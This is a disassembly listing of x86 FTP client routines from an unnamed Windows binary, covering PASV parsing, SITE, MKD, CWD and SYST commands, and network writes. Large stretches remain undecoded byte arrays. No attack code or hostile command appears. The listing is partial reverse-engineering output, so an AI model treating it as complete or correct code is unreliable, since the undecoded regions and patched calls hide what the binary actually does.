loc_42D376:				; CODE XREF: sub_42D350+1Fj
		mov	eax, [esp+110h+arg_C]
		push	offset aMissingPathArg ; "Missing path argument	for file transfer"...
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C3F931h
		add	esp, 8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D39C:				; CODE XREF: sub_42D350+1Aj
					; sub_42D350+24j
		mov	ecx, [esp+110h+arg_8]
		mov	ebp, dword_50FA60
		push	ecx
		lea	edx, [esp+114h+var_100]
		push	offset dword_4454BC
		push	edx
		call	ebp	; sprintf
		mov	ebx, [esp+11Ch+arg_C]
		lea	eax, [esp+11Ch+var_100]
		push	ebx
		push	32h
		push	eax
		call	sub_42D230
		add	esp, 18h
		test	eax, eax
		jz	loc_42D55E
		lea	eax, [edi-1]	; switch 4 cases
		cmp	eax, 3
		ja	loc_42D54F	; default
		jmp	off_42D56C[eax*4] ; switch jump


loc_42D3E8:				; DATA XREF: ___:off_42D56Co
		mov	ecx, dword_4454B4 ; jumptable 0042D3E1 case 1
		mov	dl, byte_4454B8
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 1
		jmp	short loc_42D450
; ---------------------------------------------------------------------------


loc_42D403:				; CODE XREF: sub_42D350+91j
					; DATA XREF: ___:off_42D56Co
		mov	eax, dword_4454AC ; jumptable 0042D3E1 case 2
		mov	cl, byte_4454B0
		mov	[esp+110h+var_100], eax
		mov	[esp+110h+var_FC], cl
		mov	ebp, 1
		jmp	short loc_42D450
; ---------------------------------------------------------------------------


loc_42D41D:				; CODE XREF: sub_42D350+91j
					; DATA XREF: ___:off_42D56Co
		mov	edx, dword_4454A4 ; jumptable 0042D3E1 case 3
		mov	al, byte_4454A8
		mov	[esp+110h+var_100], edx
		mov	[esp+110h+var_FC], al
		mov	ebp, 1
		jmp	short loc_42D450
; ---------------------------------------------------------------------------


loc_42D437:				; CODE XREF: sub_42D350+91j
					; DATA XREF: ___:off_42D56Co
		mov	ecx, dword_44549C ; jumptable 0042D3E1 case 4
		mov	dl, byte_4454A0
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 2


loc_42D450:				; CODE XREF: sub_42D350+B1j
					; sub_42D350+CBj ...
		test	esi, esi
		jz	short loc_42D4A3
		lea	edi, [esp+110h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [esp+edx+110h+var_100], 20h
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		add	ecx, edx
		cmp	ecx, 100h
		jnb	loc_42D55E
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+edx+110h+var_100]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_42D4A3:				; CODE XREF: sub_42D350+102j
		mov	ecx, [esp+110h+arg_8]
		mov	esi, [esp+110h+arg_10]
		push	ebp
		push	ecx
		push	esi
		push	ebx
		call	sub_42D610
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42D55E
		push	ebx
		lea	edx, [esp+114h+var_100]
		push	31h
		push	edx
		call	sub_42D230
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42D4F8
		mov	eax, [esi]
		push	eax
		call	sub_401BDB
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D4F8:				; CODE XREF: sub_42D350+188j
		mov	ecx, [esi]
		mov	[ecx+1Ch], ebx
		mov	eax, [ebx+24h]
		mov	edx, [esi]
		cmp	eax, 2
		mov	[ebx+20h], edx
		jnz	short loc_42D53F
		mov	eax, [esi]
		push	ebx
		push	eax
		call	sub_42DAF0
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_42D53F
		mov	ecx, [esi]
		push	ecx
		call	sub_401BDB
		add	esp, 4
		mov	dword ptr [esi], 0
		mov	dword ptr [ebx+20h], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D53F:				; CODE XREF: sub_42D350+1B8j
					; sub_42D350+1C8j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D54F:				; CODE XREF: sub_42D350+8Bj
		push	edi		; default
		add	ebx, 44h
		push	offset aInvalidOpenTyp ; "Invalid open type %d\n"
		push	ebx
		call	ebp	; sprintf
		add	esp, 0Ch


loc_42D55E:				; CODE XREF: sub_42D350+7Fj
					; sub_42D350+12Cj ...
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
sub_42D350	endp

; ---------------------------------------------------------------------------
		align 4
off_42D56C	dd offset loc_42D3E8	; DATA XREF: sub_42D350+91r
		dd offset loc_42D403	; jump table for switch	statement
		dd offset loc_42D41D
		dd offset loc_42D437
		db 4 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D610	proc near		; CODE XREF: sub_42D350+165p

var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= word ptr -120h
var_11E		= word ptr -11Eh
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_114		= byte ptr -114h
var_110		= byte ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 134h
		push	ebx
		mov	ebx, [esp+138h+arg_0]
		push	ebp
		push	esi
		mov	eax, [ebx+18h]
		xor	ebp, ebp
		mov	esi, 1
		cmp	eax, ebp
		push	edi
		mov	[esp+144h+var_120], bp
		mov	[esp+144h+var_11E], bp
		mov	[esp+144h+var_11C], esi
		jnz	loc_42D934
		mov	eax, [esp+144h+arg_C]
		cmp	eax, esi
		jz	short loc_42D672
		cmp	eax, 2
		jz	short loc_42D672
		push	eax
		add	ebx, 44h
		push	offset aInvalidDirecti ; "Invalid direction %d\n"
		push	ebx
		call	near ptr 77C3F931h
		nop
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42D672:				; CODE XREF: sub_42D610+3Aj
					; sub_42D610+3Fj
		mov	eax, [esp+144h+arg_8]
		cmp	eax, 41h
		jz	short loc_42D6A4
		cmp	eax, 49h
		jz	short loc_42D6A4
		push	eax
		add	ebx, 44h
		push	offset aInvalidModeC ; "Invalid	mode %c\n"
		push	ebx
		nop
		call	near ptr 77C3F931h
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42D6A4:				; CODE XREF: sub_42D610+6Cj
					; sub_42D610+71j
		mov	eax, [ebx+24h]
		mov	[esp+144h+var_124], 10h
		cmp	eax, esi
		jnz	loc_42D789
		xor	eax, eax
		push	ebx
		mov	[esp+148h+var_134], eax
		push	32h
		mov	[esp+14Ch+var_130], eax
		push	offset aPasv	; "PASV"
		mov	[esp+150h+var_12C], eax
		mov	word ptr [esp+150h+var_134], 2
		mov	[esp+150h+var_128], eax
		call	sub_42D230
		add	esp, 0Ch
		test	eax, eax
		jz	loc_42D934
		lea	ecx, [ebx+44h]
		push	28h
		push	ecx
		call	near ptr 77C47660h
		nop
		add	esp, 8
		cmp	eax, ebp
		jz	loc_42D934
		lea	edx, [esp+144h+var_114]
		lea	ecx, [esp+144h+var_118]
		push	edx
		push	ecx
		lea	edx, [esp+14Ch+var_104]
		lea	ecx, [esp+14Ch+var_108]
		push	edx
		push	ecx
		lea	edx, [esp+154h+var_10C]
		lea	ecx, [esp+154h+var_110]
		push	edx
		push	ecx
		inc	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	eax
		nop
		call	near ptr 77C41B72h
		mov	dl, [esp+164h+var_110]
		mov	al, [esp+164h+var_10C]
		mov	cl, [esp+164h+var_108]
		mov	byte ptr [esp+164h+var_130], dl
		mov	dl, [esp+164h+var_104]
		mov	byte ptr [esp+164h+var_130+1], al
		mov	al, [esp+164h+var_118]
		mov	byte ptr [esp+164h+var_130+2], cl
		mov	cl, [esp+164h+var_114]
		add	esp, 20h
		mov	byte ptr [esp+144h+var_130+3], dl
		mov	byte ptr [esp+144h+var_134+2], al
		mov	byte ptr [esp+144h+var_134+3], cl
		push	6
		push	esi
		push	2
		call	sub_436FCC
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FFFF83F8h, 8684D75h, 90004454h, 809679E8h, 4C48377h
		dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42D789:				; CODE XREF: sub_42D610+A1j
		mov	ecx, [ebx+8]
		lea	edx, [esp+144h+var_124]
		lea	eax, [esp+144h+var_134]
		push	edx
		push	eax
		push	ecx
		call	sub_436FBA
; ---------------------------------------------------------------------------
		dd 0BD7DC085h, 44552868h, 47E89000h, 83778096h,	0C03304C4h
		dd 5B5D5E5Fh, 134C481h,	8DC30000h, 6A282454h, 46A5204h
		dd 0FFFF68h, 45E85700h,	83000098h, 0A75FFF8h, 4453F868h
		dd 147E900h, 448D0000h,	46A2424h, 806850h, 0FF680000h
		dd 570000FFh, 981FE8h, 0FFF88300h, 0F8680A75h, 0E9004453h
		dd 121h, 75247339h, 244C8D20h, 51106A10h, 97BCE857h, 0F8830000h
		dd 0EC850FFFh, 68000000h, 4451F8h, 0FCE9h, 24548D00h, 52106A10h
		dd 6C896657h, 85E81E24h, 83000097h, 775FFF8h, 44552068h
		dd 5610EB00h, 9760E857h, 0C0850000h, 1868217Dh,	0E8004455h
		dd 77809596h, 4C48390h,	9730E857h, 5E5F0000h, 5BC0335Dh
		dd 134C481h, 8DC30000h,	8D202444h, 5010244Ch, 37E85751h
		dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh,	0C3000001h
		dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h
		dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h
		dd 20244C8Bh, 0FFE281h,	0FF250000h, 52000000h, 0FFE181h
		dd 51500000h, 5C24548Dh, 4454FC68h, 0E8905200h,	7781204Dh
		dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh,	1375C085h
		dd 9698E857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h
		dd 144h, 0ACE89056h, 8B777FE7h,	8C483F0h, 2275F53Bh, 4453F068h
		dd 0C7E89000h, 83778094h, 0E85704C4h, 9662h
; ---------------------------------------------------------------------------


loc_42D934:				; CODE XREF: sub_42D610+2Bj
					; sub_42D610+D2j ...
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 134h
		retn
sub_42D610	endp

; ---------------------------------------------------------------------------
		dw 0BC83h
		dd 15024h, 41754100h, 200068h, 0B0E89000h, 83777FEAh, 0C53B04C4h
		dd 75144689h, 53F0682Ch, 87E80044h, 90778094h, 5704C483h
		dd 9621E8h, 0A0E85600h,	90777FE8h, 8304C483h, 5E5FFFC8h
		dd 0C4815B5Dh, 134h, 248C8BC3h,	154h, 89087E89h, 538B184Eh
		dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh
		dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh
		dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h
		dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh,	0C3000001h, 90909090h
		dd 40h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DAF0	proc near		; CODE XREF: sub_42D350+1BEp

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 124h
		push	ebx
		mov	ebx, [esp+128h+arg_0]
		push	ebp
		push	esi
		mov	esi, [esp+130h+arg_4]
		mov	eax, [ebx+8]
		xor	ebp, ebp
		push	edi
		mov	ecx, [esi+8]
		mov	[esp+134h+var_FC], eax
		cmp	ecx, eax
		mov	[esp+134h+var_100], ecx
		mov	[esp+134h+var_104], 2
		mov	[esp+134h+var_118], ebp
		mov	[esp+134h+var_11C], 1Eh
		jge	short loc_42DB32
		mov	ecx, eax


loc_42DB32:				; CODE XREF: sub_42DAF0+3Ej
		lea	eax, [esp+134h+var_11C]
		lea	edx, [esp+134h+var_104]
		push	eax
		push	ebp
		push	ebp
		inc	ecx
		push	edx
		push	ecx
		call	sub_436FA2
sub_42DAF0	endp

; ---------------------------------------------------------------------------
		db 83h,	0F8h, 0FFh
		dd 683E75h, 90000001h, 7F1767E8h, 50008B77h, 80969DE8h
		dd 0C4839077h, 44C68304h, 0E8905650h, 77819F24h, 83084B8Bh
		dd 0E8510CC4h, 941Eh, 86B895Fh,	0C0335D5Eh, 24C4815Bh
		dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 445588BEh, 0A4A5F300h
		dd 5208538Bh, 93F1E8h, 6B895F00h, 335D5E08h, 0C4815BC0h
		dd 124h, 84B8BC3h, 3024448Dh, 2DE85150h, 85000094h, 8B7A74C0h
		dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93BAE800h
		dd 0F88B0000h, 7F16D3E8h, 108B9077h, 5008438Bh,	14245489h
		dd 939DE8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1,	24C4815Bh
		dd 0C3000001h, 10244C8Bh, 10068h, 0E8905100h, 778095DAh
		dd 8304C483h, 565044C6h, 9E62E890h, 0C4837781h,	86B890Ch
		dd 5E5FC033h, 0C4815B5Dh, 124h,	8468BC3h, 3024548Dh, 0A1E85052h
		dd 85000093h, 8B2474C0h, 0E851084Bh, 933Ah, 89326A56h
		dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh,	124C481h
		dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h
		dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DD00	proc near		; CODE XREF: sub_402248j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 1
		jz	short loc_42DD11
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DD11:				; CODE XREF: sub_42DD00+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42DD2D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42CCE0
		add	esp, 0Ch
		jmp	short loc_42DD54
; ---------------------------------------------------------------------------


loc_42DD2D:				; CODE XREF: sub_42DD00+17j
		call	sub_42CF10
		add	esp, 4
		cmp	eax, 1
		jz	short loc_42DD3F
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DD3F:				; CODE XREF: sub_42DD00+38j
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436F8A
; ---------------------------------------------------------------------------


loc_42DD54:				; CODE XREF: sub_42DD00+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42DD60
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DD60:				; CODE XREF: sub_42DD00+59j
		mov	ecx, [esi+38h]
		add	ecx, edi
		mov	[esi+38h], ecx
		mov	edx, ecx
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	short loc_42DD9F
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_42DD9F
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, eax
		pop	ebx
		jle	short loc_42DD9F
		mov	eax, [esi+34h]
		push	eax
		push	edx
		push	esi
		call	ecx
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42DD98
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DD98:				; CODE XREF: sub_42DD00+93j
		mov	dword ptr [esi+40h], 0


loc_42DD9F:				; CODE XREF: sub_42DD00+6Fj
					; sub_42DD00+76j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42DD00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DDE0	proc near		; CODE XREF: sub_4021F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 2
		jz	short loc_42DDF1
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DDF1:				; CODE XREF: sub_42DDE0+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42DE0D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42DEB0
		add	esp, 0Ch
		jmp	short loc_42DE2A
; ---------------------------------------------------------------------------


loc_42DE0D:				; CODE XREF: sub_42DDE0+17j
		call	sub_42CF10
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esi+8]
		add	esp, 4
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436F90
; ---------------------------------------------------------------------------


loc_42DE2A:				; CODE XREF: sub_42DDE0+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42DE36
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DE36:				; CODE XREF: sub_42DDE0+4Fj
		mov	edx, [esi+38h]
		mov	eax, [esi+30h]
		add	edx, edi
		test	eax, eax
		mov	[esi+38h], edx
		jz	short loc_42DE6C
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_42DE6C
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, ecx
		pop	ebx
		jle	short loc_42DE6C
		mov	ecx, [esi+34h]
		push	ecx
		push	edx
		push	esi
		call	eax
		add	esp, 0Ch
		mov	dword ptr [esi+40h], 0


loc_42DE6C:				; CODE XREF: sub_42DDE0+63j
					; sub_42DDE0+6Aj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42DDE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DEB0	proc near		; CODE XREF: sub_42DDE0+23p
					; sub_42E060+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		push	esi
		xor	esi, esi
		xor	al, al
		mov	ecx, [ebp+18h]
		push	edi
		cmp	ecx, 2
		jz	short loc_42DECC
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DECC:				; CODE XREF: sub_42DEB0+12j
		mov	ecx, [esp+10h+arg_4]
		mov	edi, [ebp+14h]
		xor	ebx, ebx
		test	ecx, ecx
		jle	loc_42DFF4


loc_42DEDD:				; CODE XREF: sub_42DEB0+AFj
		mov	ecx, [esp+10h+arg_0]
		cmp	byte ptr [ebx+ecx], 0Ah
		jnz	short loc_42DF1E
		cmp	al, 0Dh
		jz	short loc_42DF1E
		cmp	esi, 2000h
		jnz	short loc_42DF19
		push	ebp
		call	sub_42CF10
		add	esp, 4
		test	eax, eax
		jz	short loc_42DF7A
		mov	edx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	edx
		call	sub_436F90
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42DF81
		xor	esi, esi


loc_42DF19:				; CODE XREF: sub_42DEB0+41j
		mov	byte ptr [edi+esi], 0Dh
		inc	esi


loc_42DF1E:				; CODE XREF: sub_42DEB0+35j
					; sub_42DEB0+39j
		cmp	esi, 2000h
		jnz	short loc_42DF4C
		push	ebp
		call	sub_42CF10
		add	esp, 4
		test	eax, eax
		jz	short loc_42DF7A
		mov	eax, [ebp+8]
		push	0
		push	esi
		push	edi
		push	eax
		call	sub_436F90
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42DFA1
		xor	esi, esi


loc_42DF4C:				; CODE XREF: sub_42DEB0+74j
		mov	ecx, [esp+10h+arg_0]
		inc	esi
		mov	al, [ebx+ecx]
		mov	ecx, [esp+10h+arg_4]
		mov	[edi+esi-1], al
		inc	ebx
		cmp	ebx, ecx
		jl	loc_42DEDD
		test	esi, esi
		jz	loc_42DFF4
		push	ebp
		call	sub_42CF10
		add	esp, 4
		test	eax, eax
		jnz	short loc_42DFC1


loc_42DF7A:				; CODE XREF: sub_42DEB0+4Ej
					; sub_42DEB0+81j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DF81:				; CODE XREF: sub_42DEB0+65j
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		push	esi
		push	offset aNet_write1Retu ; "net_write(1) returned	%d, errno = %d\n"
		call	near ptr 77C4186Ah
		nop
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DFA1:				; CODE XREF: sub_42DEB0+98j
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		push	eax
		push	esi
		push	offset aNet_write2Retu ; "net_write(2) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DFC1:				; CODE XREF: sub_42DEB0+C8j
		mov	ecx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	ecx
		call	sub_436F90
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 2074FE3Bh, 12E2E890h, 108B777Fh, 0B0685752h,	90004455h
		dd 813881E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh
; ---------------------------------------------------------------------------


loc_42DFF4:				; CODE XREF: sub_42DEB0+27j
					; sub_42DEB0+B7j
		mov	eax, [esp+10h+arg_4]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42DEB0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E060	proc near		; CODE XREF: sub_401BDBj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+18h]
		sub	eax, 0
		jz	short loc_42E0DB
		dec	eax
		jz	short loc_42E090
		dec	eax
		jz	short loc_42E07C


loc_42E074:				; CODE XREF: sub_42E060+64j
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E07C:				; CODE XREF: sub_42E060+12j
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_42E090
		push	esi
		push	0
		push	0
		call	sub_42DEB0
		add	esp, 0Ch


loc_42E090:				; CODE XREF: sub_42E060+Fj
					; sub_42E060+21j
		mov	eax, [esi+14h]
		push	ebx
		mov	ebx, dword_50FAC4
		test	eax, eax
		jz	short loc_42E0A4
		push	eax
		call	ebx	; free
		add	esp, 4


loc_42E0A4:				; CODE XREF: sub_42E060+3Cj
		mov	eax, [esi+8]
		push	2
		push	eax
		call	sub_43702C
; ---------------------------------------------------------------------------
		mov	ecx, [esi+8]
		push	ecx
		call	sub_436F96
; ---------------------------------------------------------------------------
		mov	edi, [esi+1Ch]
		push	esi
		call	ebx	; free
		add	esp, 4
		test	edi, edi
		pop	ebx
		jz	short loc_42E074
		push	edi
		push	32h
		mov	dword ptr [edi+20h], 0
		call	sub_42CBA0
		add	esp, 8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E0DB:				; CODE XREF: sub_42E060+Cj
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_42E0F2
		push	esi
		mov	dword ptr [esi+1Ch], 0
		call	sub_401BDB
		add	esp, 4


loc_42E0F2:				; CODE XREF: sub_42E060+80j
		mov	edx, [esi+8]
		push	edx
		call	sub_436F96
sub_42E060	endp

; ---------------------------------------------------------------------------
		db 56h
		dd 7FE11AE8h, 0C4839077h, 5FC03304h, 9090C35Eh,	90909090h
		dd 0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42E140:				; CODE XREF: ___:00401CE4j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E169
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E169:				; CODE XREF: ___:0042E160j
		push	edx
		lea	eax, [esp+4]
		push	offset aSiteS	; "SITE	%s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D230
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E1C0:				; CODE XREF: ___:004016C2j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset aSyst	; "SYST"
		call	sub_42D230
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E1E1
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E1E1:				; CODE XREF: ___:0042E1DCj
		mov	eax, [esp+10h]
		lea	ecx, [edi+48h]
		lea	edx, [eax-1]
		test	edx, edx
		jz	short loc_42E1FC


loc_42E1EF:				; CODE XREF: ___:0042E1FAj
		mov	al, [ecx]
		cmp	al, 20h
		jz	short loc_42E1FC
		mov	[esi], al
		inc	esi
		inc	ecx
		dec	edx
		jnz	short loc_42E1EF


loc_42E1FC:				; CODE XREF: ___:0042E1EDj
					; ___:0042E1F3j
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E230:				; CODE XREF: ___:0040224Dj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E259
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E259:				; CODE XREF: ___:0042E250j
		push	edx
		lea	eax, [esp+4]
		push	offset aMkdS	; "MKD %s"
		push	eax
		call	near ptr 77C3F931h
		nop
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D230
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2B0:				; CODE XREF: ___:0040225Cj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E2D9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E2D9:				; CODE XREF: ___:0042E2D0j
		push	edx
		lea	eax, [esp+4]
		push	offset aCwdS	; "CWD %s"
		push	eax
		call	near ptr 77C3F931h
		nop
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D230
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E330:				; CODE XREF: ___:00401780j
		mov	eax, [esp+4]
		push	eax
